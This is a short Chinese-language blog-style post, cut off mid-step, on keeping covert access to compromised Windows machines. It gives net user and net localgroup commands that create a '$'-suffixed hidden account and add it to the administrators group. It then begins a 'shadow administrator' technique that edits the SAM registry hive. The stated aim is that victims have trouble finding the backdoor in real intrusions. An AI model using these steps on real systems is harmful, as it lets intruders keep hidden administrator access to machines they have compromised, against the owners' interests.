【知识积累】win下权限维持+留后门

前言

• 大晚上的，最近也积累知识一些拿机子该如何不让机子挂掉呢，马不一定能保证你不会挂掉（免杀也许可以）但我还太菜，先来个windows下的一些技巧吧，实战还是很有意义的，可以让对方很难找到你的后门

第一阶段-隐藏用户

我拿实战做个案例，这个我感觉大家可能都知道，但是还是说一下，隐藏用户指的是无法单纯从net user中看到的用户，也就是说用户名加上一个$

net user admin$ ***** /add #比如这样的
net localgroup administrators administrator$ ***** /add #比如这样的

这样就能达到初步的隐藏 只是无法用net user查看

但是当我们打开控制面板的用户中却可以查看到我们创建的隐藏用户

第二阶段-超管影子用户

提示：因为前面我们就创建过一个administrator$隐藏用户

这是我们该想办法让他更隐匿一些，这时我们拿出注册表修改sam

路径如下

计算机\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\administrator$

1、分别命名为 1（administrator$）和 2（0x3e）导出